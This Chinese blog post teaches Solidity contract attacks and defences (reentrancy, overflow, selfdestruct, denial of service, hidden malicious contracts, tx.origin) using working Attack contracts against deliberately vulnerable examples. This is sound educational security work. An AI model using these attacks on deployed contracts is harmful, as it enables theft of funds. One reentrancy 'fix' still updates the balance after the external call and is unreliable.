solidity合约攻击以及预防办法

技术分享
2089 1

1.重入攻击

合约复现

重入攻击原理就是在提钱进行转账交易的时候,黑客会将利用了回退函数在目标合约进行ETH转账时进行重入攻击,在攻击合约收到钱后会继续调用提钱函数,而不是直接到 balances[msg.sender] = 0; 这个步骤,从而达到将bank合约中的余额都提完。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
   plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    mapping(address => uint) public balances;
    address public addr ;
    function deposit() public payable {
        addr =msg.sender;
        balances[msg.sender] += msg.value;
    }

    function withdraw() public  {
        uint bal = balances[msg.sender];
        require(bal > 0);
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }
    function attack() external payable {
        // require(msg.value >= 1 ether,"invaild");
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }
    function pot() external payable {}

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

}

预防办法

可以加重入锁

重入锁可能会消耗更多的gas,但是可以预防更大的损失。

或者将清空余额的代码放到转账代码上面,但是这样可能会导致bank合约没钱导致转账失败,转账失败了还把用户的钱清空了

    function withdraw() public  {
        uint bal = balances[msg.sender];
        require(bal > 0);
        (bool sent, ) = msg.sender.call{value: bal}("");
        balances[msg.sender] = 0;
        require(sent, "Failed to send Ether");
    }
// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");

    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");

    balanceOf[msg.sender] = 0;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

2.整型溢出

合约复现

  1. 部署 Token 合约,将总供给设为 100。(相当于给创建者地址加了100代币)
  2. 向另一个账户转账 1000 个代币,可以转账成功。
  3. 查询自己账户的余额,发现是一个非常大的数字,约为2^256。查询刚刚转账接受者的余额发现也是1000个代币!
    整型溢出预防办法

预防办法

  1. Solidity 0.8.0 之前的版本,在合约中引用 Safemath 库,在整型溢出时报错。
  2. Solidity 0.8.0 之后的版本内置了 Safemath,因此几乎不存在这类问题。开发者有时会为了节省gas使用 unchecked 关键字在代码块中临时关闭整型溢出检测,这时要确保不存在整型溢出漏洞。

3.自毁

原理就是使用自毁函数强制将自己合约上的余额转到指定合约上

selfdestruct 是 Solidity 语言中的一个特殊函数,用于销毁当前合约并将剩余的以太币发送到指定的地址上。

address payable addr = payable(address(etherGame));
//使用paybale用于标识一个地址变量可以接收以太币的支付。
selfdestruct(addr);

在例子中,selfdestruct(addr) 的作用是销毁 Attack 合约并将剩余的以太币发送到 addr(即 EtherGame 合约的地址)。

这段代码的目的是让 Attack 合约向 EtherGame 合约发送以太币,使得 EtherGame 合约的余额大于等于 7 ether,从而破坏游戏规则并阻止其他玩家继续进行操作。

需要注意的是,一旦调用了 selfdestruct 函数,合约的代码将被销毁,合约账户中的所有余额将被发送到指定的地址上,并且以后无法再调用合约的其他函数。

在实际开发中,selfdestruct 函数通常用于销毁合约并将资金返回给某个预定的合约拥有者或其他指定地址,方便进行清算或转移。

合约复现

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

预防办法

不要使用address(this).balance作为balance,另外命名有一个balance的变量用于记录合约的用户存款金额,这一样判断的就是这个变量balance,和合约地址剩余余额就没关系了

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract EtherGame {
    uint public targetAmount = 7 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
}

!合约自毁攻击)

4.拒绝服务

拒绝接受代币

这个例子是让一个用户发送代币可以当国王,前提是发送的代币需要比上一个要多

例如A用户发送了1个代币后(此时A用户是国王),比用户B发送了2个代币,然后回将用户A的代币退回给用户A,然后更新的国王信息

合约复现

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }
    /*
fallback() external payable {}  //在这里不写回调函数,让这个合约不接受代币,从而导致用户调用claimThrone()时虽然发送的代币已经大于balance,但是由于这个函数不接受代币,所以导致转账失败,无法更新国王信息,让游戏终止
    */
    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

预防办法

可以让用户自己提取代币,而不是自动发送,可以避免自动发送余额失败的情况

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract KingOfEther {
    address public king;
    uint public balance;
    mapping(address => uint) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");
        balances[king] += balance;
        balance = msg.value;
        king = msg.sender;
    }
    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

5.隐藏恶意代码

合约复现

也就是说部署Foo函数的时候传入的是Bar合约地址而是Mal合约地址(由于Mal和Bar都有log这个地址,所以解析和调用都成功了,如果mal没有log函数则调用不成功但是可以部署成功),则你调用Foo函数的callBar的函数的时候实际上调用的是Mal.log而不是Bar.log了,

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
Let's say Alice can see the code of Foo and Bar but not Mal.
It is obvious to Alice that Foo.callBar() executes the code inside Bar.log().
However Eve deploys Foo with the address of Mal, so that calling Foo.callBar()
will actually execute the code at Mal.
也就是说部署Foo函数的时候传入的是Bar合约地址而是Mal合约地址(由于Mal和Bar都有log这个地址,所以解析和调用都成功了,如果mal没有log函数则调用不成功但是可以部署成功),则你调用Foo函数的callBar的函数的时候实际上调用的是Mal.log而不是Bar.log了,
*/
/*
1. Eve deploys Mal
2. Eve deploys Foo with the address of Mal
3. Alice calls Foo.callBar() after reading the code and judging that it is
   safe to call.
4. Although Alice expected Bar.log() to be execute, Mal.log() was executed.
*/
contract Foo {
    Bar bar;
    constructor(address _bar) {
        bar = Bar(_bar);
    }
    function callBar() public {
        bar.log();
    }
}
contract Bar {
    event Log(string message);
    function log() public {
        emit Log("Bar was called");
    }
}
// This code is hidden in a separate file
contract Mal {
    event Log(string message);
    // function () external {
    //     emit Log("Mal was called");
    // }
    // Actually we can execute the same exploit even if this function does
    // not exist by using the fallback
    function log() public {
        emit Log("Mal was called");
    }
}

预防办法

Bar public bar;
constructor() public {
    bar = new Bar();
    //直接新建了一个Bar函数,不需要传入地址调用
}

不要使用链上的数据构造随机数

很容易被黑客破解,因为链上数据都是公开的
使用 chainlink VRF 构造随机数

tx.origin

合约复现

origin(起源 )故名思意,就是获取调用者的最初始的地址,比如小明使用 b合约进行调用a合约,a合约中的tx.origin就是小明的地址,但是msg.sender的地址就是a合约,因为是a合约进行调用的b合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;


/*
1. Alice deploys Wallet with 10 Ether
2. Eve deploys Attack with the address of Alice's Wallet contract.
3. Eve tricks Alice to call Attack.attack()
4. Eve successfully stole Ether from Alice's wallet
欺骗Alice进行调用攻击地址,就会将合约地址上的余额全部转走,

怎么欺骗?例如:《按一下给你糖吃》把这个攻击合约换成 按一下有惊喜

What happened?
Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it
requested a transfer of all funds in Alice's wallet to Eve's address.
Since tx.origin in Wallet.transfer() is equal to Alice's address,
it authorized the transfer. The wallet transferred all Ether to Eve.
*/

contract Wallet {
    address public owner;
    address public origin;
    address public dd;
    constructor() payable {
        owner = msg.sender;
        origin = tx.origin;
    }

    function transfer(address payable _to, uint _amount) public {
        origin = tx.origin;  //调用attack的人地址
        dd = msg.sender;  //attack的合约地址
        require(tx.origin == owner, "Not owner");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }

}

预防办法

不要使用tx.origin进行判断所有者,使用msg.sender进行判断是不是所有者

require(msg.sender == owner)
最后更新 2024-02-02
评论 ( 1 )
OωO
隐私评论
  1. 哎呦喂,瞧给你聪明的!
    此条为私密评论,仅评论双方可见
    8个月前江苏省常州市回复